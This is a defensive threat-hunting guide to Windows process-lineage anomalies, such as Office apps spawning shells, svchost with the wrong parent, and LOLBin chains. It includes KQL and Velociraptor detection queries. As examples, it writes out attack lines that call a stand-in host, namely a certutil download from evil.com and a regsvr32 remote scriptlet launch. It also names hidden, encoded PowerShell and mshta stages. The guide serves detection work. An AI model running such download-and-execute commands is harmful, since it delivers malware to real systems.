Parent-Child Process Hunting — Lineage Anomalies and LOLBin Chains

Process lineage is the attacker’s signature. Every execution technique — macro, exploit, LOLBin, injection — leaves a trace in the parent-child relationship. The hunter who knows the expected tree will immediately see when the tree is wrong.

The Expected Windows Process Tree

System (PID 4)
├── smss.exe (Session Manager)
│   ├── csrss.exe (subsystem process)
│   └── wininit.exe
│       ├── lsass.exe (credential store — NO children expected)
│       ├── lsm.exe (local session manager)
│       └── services.exe (service control manager)
│           ├── svchost.exe -k netsvcs
│           ├── svchost.exe -k LocalService
│           ├── svchost.exe -k NetworkService
│           └── ... (many svchost instances)
│
└── explorer.exe (spawned via userinit.exe at logon)
    ├── chrome.exe
    ├── WINWORD.EXE
    └── ... (user applications)

Hunter rule: Any process that appears in this tree but has a wrong parent is a hunt lead. Any process NOT in this tree that claims to be a system binary is a masquerading candidate.

High-Signal Parent-Child Anomalies

Office Application Spawning Shell Interpreters

WINWORD.EXE
  └── cmd.exe          ← macro executed shell command (T1059.003)
      └── powershell.exe -enc <base64>   ← encoded PowerShell stage
          └── mshta.exe http://...        ← HTML application download + execute

This chain = macro → shellcode downloader. Each arrow is suspicious. The full chain is a high-confidence malicious macro execution.

Fleet detection query (KQL / Sysmon):

// Office spawning shell interpreters
SecurityEvent
| where EventID == 4688  // process creation
| where ParentProcessName has_any ("winword.exe", "excel.exe", "powerpnt.exe", 
                                    "outlook.exe", "onenote.exe")
| where NewProcessName has_any ("cmd.exe", "powershell.exe", "wscript.exe", 
                                 "cscript.exe", "mshta.exe", "certutil.exe",
                                 "regsvr32.exe", "rundll32.exe")
| project TimeGenerated, Computer, ParentProcessName, NewProcessName, 
           CommandLine, SubjectUserName

Browser Spawning Execution Engines

chrome.exe
  └── cmd.exe /c "powershell.exe -w hidden -c ..."
              ← drive-by download / browser exploit

firefox.exe
  └── wscript.exe temp_downloader.js
              ← drive-by via JavaScript dropped to disk

svchost.exe with Non-Service Parent

powershell.exe
  └── svchost.exe   ← PPID spoofed to services.exe
                        OR process hollowing target
                        OR DLL injection into legitimate svchost

Real svchost.exe is ALWAYS spawned by services.exe. Any other parent is a hunt lead.

LOLBin Execution Chains: Common Patterns

Chain 1: Certutil Download

Macro/script execution
  └── cmd.exe /c certutil -urlcache -f http://evil.com/payload.exe C:\Temp\run.exe
      └── run.exe (payload)

VQL to detect at fleet scale:

SELECT Pid, Ppid, Name, CommandLine, Username,
       Exe AS FullPath
FROM pslist()
WHERE Name =~ "certutil.exe"
  AND CommandLine =~ "urlcache|decode|encode"

Chain 2: Regsvr32 COM Scriptlet

WINWORD.EXE
  └── regsvr32.exe /s /i:http://evil.com/payload.sct scrobj.dll

Regsvr32 with a URL argument is never legitimate. Regsvr32 with scrobj.dll (COM scriptlet host) + /i:http is a strong hunting signature.

Chain 3: WMI Execution (Fileless)

wmic.exe process call create "powershell.exe -w hidden ..."
  OR
WMI Subscription (Windows.Management.EventFilter → CommandLineEventConsumer)
  └── powershell.exe -enc ...  (spawned by WmiPrvSE.exe or scrcons.exe)

WMI subscription persistence appears as PowerShell spawned by WmiPrvSE.exe — not by any user application. This is a strong hunting signal.

-- Velociraptor: find WMI subscriptions
SELECT *
FROM wmi(query="SELECT * FROM __EventConsumer",
         namespace="root\\subscription")